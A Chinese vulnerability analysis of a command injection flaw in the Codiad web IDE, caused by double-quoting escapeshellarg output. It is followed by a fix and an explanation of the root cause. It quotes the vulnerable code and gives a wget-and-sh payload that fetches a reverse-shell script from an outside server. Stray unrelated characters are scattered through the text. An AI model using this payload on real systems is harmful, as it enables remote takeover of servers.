本文首發(fā)地址 :
先知技術(shù)社區(qū)獨(dú)家發(fā)表本文,如需要轉(zhuǎn)載,請(qǐng)先聯(lián)系先知技術(shù)社區(qū)授權(quán)热幔;未經(jīng)授權(quán)請(qǐng)勿轉(zhuǎn)載。
先知技術(shù)社區(qū)投稿郵箱:Aliyun_xianzhi@service.alibaba.com
簡(jiǎn)介 :
Codiad 是一個(gè)開(kāi)源基于Web的IDE應(yīng)用程序鹰霍,用于在線編寫(xiě)和編輯代碼镜沽。
這個(gè)應(yīng)用程序采用PHP開(kāi)發(fā),并且不需要一個(gè)SQL數(shù)據(jù)庫(kù)桨吊,數(shù)據(jù)是存儲(chǔ)在一個(gè)JSON格式的文件中威根。
它的界面包含三個(gè)面板:
項(xiàng)目/文件管理器具
代碼編輯器
菜單/功能
簡(jiǎn)要分析 :
這個(gè)漏洞的成因不能說(shuō)是開(kāi)發(fā)者的疏忽了
應(yīng)該說(shuō)是開(kāi)發(fā)者太過(guò)于信任 php 的 escapshellarg 這個(gè)函數(shù)
后來(lái)想了一下 , 我覺(jué)得可能很多開(kāi)發(fā)者都沒(méi)有意識(shí)到這個(gè)函數(shù)的正確使用方式
很有可能別的 php 項(xiàng)目中也存在相同的漏洞
具體信息如下文 :
漏洞點(diǎn)以及利用方式 :
components/filemanager/class.filemanager.php
具體在這句話 :
$output = shell_exec('find -L ' . $this->path . ' -iregex ".*' . $this->search_file_type . '" -type f | xargs grep -i -I -n -R -H "' . $input . '"');
變量 $this->search_file_type
這個(gè)變量在使用之前是經(jīng)過(guò) escapeshellarg 函數(shù)處理過(guò)的
可能很多人會(huì)問(wèn)了 , 既然都已經(jīng)經(jīng)過(guò) php 的官方函數(shù)處理過(guò)了
還會(huì)存在漏洞嗎 ?
很不幸 , 由于開(kāi)發(fā)者沒(méi)有正確使用這個(gè)函數(shù) , 漏洞是存在的
經(jīng)過(guò) escapeshellarg 函數(shù)處理過(guò)的參數(shù)被拼湊成 shell 命令 并且被雙引號(hào)包裹
這樣就會(huì)造成漏洞
而且漏洞的危害就是遠(yuǎn)程命令執(zhí)行
接下來(lái)我們來(lái)測(cè)試一下漏洞是否可用
首先搭建環(huán)境
使用 ping 命令來(lái)測(cè)試一下
可以發(fā)現(xiàn)接收到了 icmp 數(shù)據(jù)包裹
說(shuō)明命令確實(shí)是被執(zhí)行了的
那么我們來(lái)測(cè)試一下是否可以成功反彈一個(gè) shell 呢
由于 escapeshellarg 函數(shù)會(huì)在被過(guò)濾的參數(shù)兩邊添加單引號(hào) , 并且會(huì)對(duì)參數(shù)中的所有單引號(hào)進(jìn)行轉(zhuǎn)義
那么我們需要找一些不需要單引號(hào)和雙引號(hào)的命令來(lái)實(shí)現(xiàn)反彈 shell 的操作
筆者想到的一個(gè)方法是利用 wget 下載反彈 shell 的腳本 , 然后通過(guò) sh 去執(zhí)行這個(gè)腳本即可
wget 通過(guò) -P 參數(shù)可以指定保存路徑
我們可以在公網(wǎng) vps 上監(jiān)聽(tīng) 80 端口 , 將反彈 shell 的命令寫(xiě)入到 index.html
然后通過(guò) wget 將其下載到目標(biāo)服務(wù)器的一個(gè)可寫(xiě)目錄下 (/tmp) , 然后再用 sh 執(zhí)行這個(gè)腳本
payload 如下 :
wget 8.8.8.8 -p /tmp
sh /tmp/index.html
成因分析 :
bash 在解析單引號(hào)和雙引號(hào)的時(shí)候是有區(qū)別的
在解析單引號(hào)的時(shí)候 , 被單引號(hào)包裹的內(nèi)容中如果有變量 , 這個(gè)變量名是不會(huì)被解析成值的
但是雙引號(hào)不同 , bash 會(huì)將變量名解析成變量的值再使用
如下圖 :
我們都知道反引號(hào)是可以執(zhí)行命令的 , 那么如果反引號(hào)位于單引號(hào)和雙引號(hào)內(nèi)部 , 會(huì)有什么區(qū)別嗎 ?
可以看到在雙引號(hào)中的反引號(hào)內(nèi)容會(huì)被當(dāng)做命令執(zhí)行
那么這個(gè)漏洞的成因即為 : 雖然使用了 escapeshellarg 函數(shù) , 但是經(jīng)過(guò)這個(gè)函數(shù)過(guò)濾的參數(shù)又在外部被雙引號(hào)包裹起來(lái) , 因此 , 就導(dǎo)致了命令執(zhí)行漏洞
參考 php.net 中的官方文檔 :
這個(gè)函數(shù)會(huì)給參數(shù)左右添加單引號(hào) , 因此正確的做法是這樣 :
$output = shell_exec('find -L ' . $this->path . ' -iregex '.escapeshellarg('.*'.$this->search_file_type).' -type f | xargs grep -i -I -n -R -H '.escapeshellarg($input));
參考資料 :
http://www.grymoire.com/Unix/Quote.html
http://wiki.bash-hackers.org/syntax/quoting
總結(jié) :
總結(jié)一下 , 經(jīng)過(guò) php 的 escapeshellarg 的 shell 命令的參數(shù)
如果會(huì)被雙引號(hào)包裹 , 那么個(gè)這個(gè)函數(shù)事實(shí)上形同虛設(shè)
所以千萬(wàn)不能在使用這個(gè)函數(shù)的時(shí)候再自作主張?jiān)趦蓚?cè)添加雙引號(hào)